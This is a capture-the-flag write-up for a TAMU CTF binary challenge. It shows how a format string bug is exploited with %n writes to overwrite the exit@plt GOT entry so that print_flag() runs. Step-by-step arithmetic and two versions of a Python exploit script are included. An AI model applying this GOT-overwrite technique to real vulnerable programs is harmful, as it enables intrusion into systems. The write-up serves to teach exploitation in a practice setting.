nc pwn.ctf.tamu.edu 4323
Bet you can't corrupt my stack now.
Solution
Well, this time the buffer is safe, but theres a format string vulnerabily and we can use this to print out contents from memory
..as you can see our AAAA
input can be found at 4
position of stack, remember this later..
Listing the functions we have again a print_flag()
But, how to execute this function from a format string vuln? Maybe rewriting EIP
to 0x080485ab
using %n
?
Well, disassembling main()
we can notice there's an exit()
after the printf
, in C, something like this:
puts("Enter a word to be echoed:");
gets(&s);
printf(&s);
exit(0);
If you manage to set EIP=0x080485ab
it will print the flag remotely and exits.. no flag 4 u!
Wee need to go deeper..
A good idea is find the address of exit@plt
on memory and and rewrite it w/ print_flag()
address.. then @0x08048673
the program will call your print_flag()
instead exit()
I started by setting a breakpoint at 0x08048673
, disassembling main()
and exit@plt
to find the address which he is calling
Another way to do this is w/ objdump..
objdump -TR ./pwn3 |grep exit
0x80485ab = print_flag
0x804a01c = exit@plt
0x80485ab = address exit@plt will jump
So, we need to change the 0x08048456
stored @ 0x804a01c
to 0x80485ab
Now i've created a padding of 128 bytes which i easily can shift to this address using the %4$30x$n
from format string, remember %<index><padding>x$n
import struct
# 0x80485ab = print_flag
# 0x804a01c = exit@plt
# 0x80485ab = address exit@plt will jump
exitplt = 0x804a01c
def pad(s):
return s+"X"*(128-len(s))
# A big thx to liveoverflow 4 this padding tip, https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w
exploit = ""
exploit += struct.pack("I",exitplt)
exploit += "XXXXXXXXXXXX"
exploit += "%4$30x "
exploit += "%4$n "
print pad(exploit)
As you can see we've changed the lower two bytes of 0x804a01c
to 0x2f
but it need to be 0x85ab
padding = 30
0x2f to decimal = 47
0x85ab to decimal = 34219
47-30 = 17
34219-17 = 34202
Nice!
Now we need to change the higher 2 bytes to 0x0804
Exploit update:
- added more padding and %5$n to write to %5 position of stack too.
import struct
# 0x80485ab = print_flag
# 0x804a01c = exit@plt
# 0x80485ab = address exit@plt will jump
exitplt = 0x804a01c
def pad(s):
return s+"X"*(128-len(s))
exploit = ""
exploit += struct.pack("I",exitplt)
exploit += struct.pack("I",exitplt+2)
exploit += "XXXXXXXX"
exploit += "%4$34202x "
exploit += "%4$n "
exploit += "%30x "
exploit += "%5$n "
print pad(exploit)
It works.. we've changed the 2 higher bytes to 0x85cb
but we need 0x0804
padding = 30
0x10804 - 0x85cb = 0x8239 # used 0x10804 because 0x0804 is lower than 0x85cb
0x8239 to decimal = 33337
+ padding = 33367
Perfect :)
Now we are good to go remotely..